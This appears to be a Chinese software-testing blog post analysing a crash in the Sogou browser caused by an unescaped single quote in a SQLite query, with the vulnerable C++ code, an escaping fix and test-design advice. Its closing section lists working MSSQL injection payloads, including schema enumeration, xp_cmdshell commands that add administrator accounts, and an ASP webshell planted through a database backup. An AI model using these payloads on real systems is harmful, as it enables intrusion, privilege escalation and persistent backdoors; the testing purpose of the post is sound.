[BUG分享]搜狗浏览器地址栏输入特殊字符导致程序崩溃

【Bug现象】:

使用搜狗浏览器release1.0.1版本做如下操作会造成浏览器崩溃:
1. 启动浏览器
2. 在地址栏输入www.sohu.com’
当执行以上操作后,程序发生崩溃。

【Bug背景】:

搜狗浏览器地址栏的suggest列表功能强大,可以提供用户曾经访问过的URL、浏览器预置的TOP站点URL、以及搜狗搜索引擎在线搜索的URL三大类数据。当用户在地址栏输入字符时,浏览器会根据用户输入的字符在本地的数据库中进行查找,如果存在模糊匹配的数据就会按照一定的顺序在suggest列表中显示。本地数据库采用的是sqlite,用户曾经访问过的URL都会插入该数据库的一个UserRankUrl的表中。

【知识补充】:

SQLite是一款轻型的数据库,是遵守ACID的关联式数据库管理系统,它的设计目标是嵌入式的,而且目前已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。它能够支持Windows/Linux/Unix等等主流的操作系统,同时能够跟很多程序语言相结合,比如Tcl、PHP、Java等,还有ODBC接口,同样比起Mysql、PostgreSQL这两款开源世界著名的数据库管理系统来讲,它的处理速度比他们都快。
  SQLite虽然很小巧,但是支持的SQL语句不会逊色于其他开源数据库,它支持的SQL包括:
  

ATTACH DATABASE
BEGIN TRANSACTION
comment
COMMIT TRANSACTION
COPY
CREATE INDEX
CREATE TABLE
CREATE TRIGGER
CREATE VIEW
DELETE
DETACH DATABASE
DROP INDEX
DROP TABLE
DROP TRIGGER
DROP VIEW
END TRANSACTION
EXPLAIN
expression
INSERT
ON CONFLICT clause
PRAGMA
REPLACE
ROLLBACK TRANSACTION
SELECT
UPDATE

同时它还支持事务处理功能等等。也有人说它象Microsoft的Access,有时候真的觉得有点象,但是事实上它们区别很大。比如SQLite 支持跨平台,操作简单,能够使用很多语言直接创建数据库,而不象Access一样需要Office的支持。

【Bug原因】:

当用户在地址栏输入特殊字符时,浏览器没有对其进行检查而直接赋值给数据库的查询语句,造成数据库查询失败抛异常并导致程序崩溃。

bool CHistoryData::SearchUserRankUrlTableByBoth(const char* pszUrl, AddrListData* pData, DWORD* pdwCount)
{
  if (!m_pHistoryDB || !pData || !pdwCount)
  {
     return false ;
  }
  USES_CONVERSION ;
  EnterCriticalSection(&m_c) ;
  wstring wstrID = L"" ;
  CppSQLite3Buffer buf ;
  buf.format("select *, (keyfacotr) as t from UserRankUrl where id like '%%%s%%' or title like '%%%s%%' order by t desc limit %d;", pszUrl, pszUrl, 20 - *pdwCount) ;

  //如果输入www.baidu.com',那么最终buf=select * ,(keyfacotr)as t from UserRankUrl where id like '%www.baidu.com'%' or title like '%www.baidu.com%'%' order by t desc limit 20;

  FillAddrbarWithData(buf, pData, pdwCount, 20 - *pdwCount) ;
  LeaveCriticalSection(&m_c) ;
  return true ;
}

可以看到上述查询语句中因为特殊关键字’的引入而导致查询语句出现异常.当sqlite执行上面这条查询语句时 ,会抛数据库异常;同时浏览器也没有通过try…catch…来捕获异常,最终导致程序崩溃。

【解决办法】:

在组织查询语句之前加入TransferMeaningOfSingleQuoteOfUrl函数,对特殊字符进行处理,由原来的[www.baidu.com’]变为[www.baidu.com’’],从而达到对’的过滤。

int TransferMeaningOfSingleQuoteOfUrl(const wchar_t* psz)
{
  if (!psz)
  {
    return -1 ;
  }
  memset(wbufUrl, 0, sizeof(wbufUrl)) ;
  int iSrc = wcslen(psz) ;
  int i = 0 ;
  int j = 0 ;
  while (i < iSrc)
  {
    if (j >= 511)
    {
      return -1 ;
    }
    if (psz[i] != L'\'')
    {
      wbufUrl[j++] = psz[i++] ;
    }
    else
    {
      wbufUrl[j++] = psz[i] ;
      wbufUrl[j++] = psz[i++] ;//替换’为”
    }
  }
  return i ;
}

【Bug总结】:


  1. 我们在设计数据库相关操作的用例时,需要考虑在查询语句中加入特殊字符:~!~@#$%^&*()_+|[]-={};’:”<>?,./等等,并且在查询字符串之前、末尾和中间加入,如’www.baidu.com、www.baidu.com’和www.’baidu.com。
  2. 如果情况允许,获取查询数据库时的程序代码,这样便于我们更有效地设计测试用例。
  3. 如果是测试站点,针对sql的安全性,使用黑客工具或自动化工具进行注入式攻击的专项测试,例如经典的用户名输入–;delete from [tablename]。

以下列举了一般常用的注入式攻击语句:
1)浏览TEMP表的方法是
and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的数据库名
2) 猜解所有数据库名称
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分别得到其它库名
3) 猜解数据库中用户名表的名称
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
4) 判断是否是sysadmin权限
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’))
5) 判断是否是SA用户
‘sa’=(SELECT System_user)
6) 查看数据库角色
;use model–
7) 查看库名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)–
8) 获得第一个用户建立表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 )>0 假设要获得数据库是TestDB.dbo
9) 获得第二个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’))>0
10) 获得第三个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’,”))>0 ”中为第二个用户名
11) 获得第四个用户建立的表的名称
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’,”,”))>0 ”,”中为第二,三个用户名
12) 获得表中记录的条数
and (select count(*) from 表名)<5 记录条数小于5 或 <10 记录条数小于10 ……等等
13) 测试权限结构(mssql)
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
and 1=(SELECT IS_MEMBER(‘db_owner’));–
14) 添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
15) 简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (‘<%=server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“c”)).stdout.readall%>’);
backup database model to disk=’g:\wwwtest\l.asp’;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值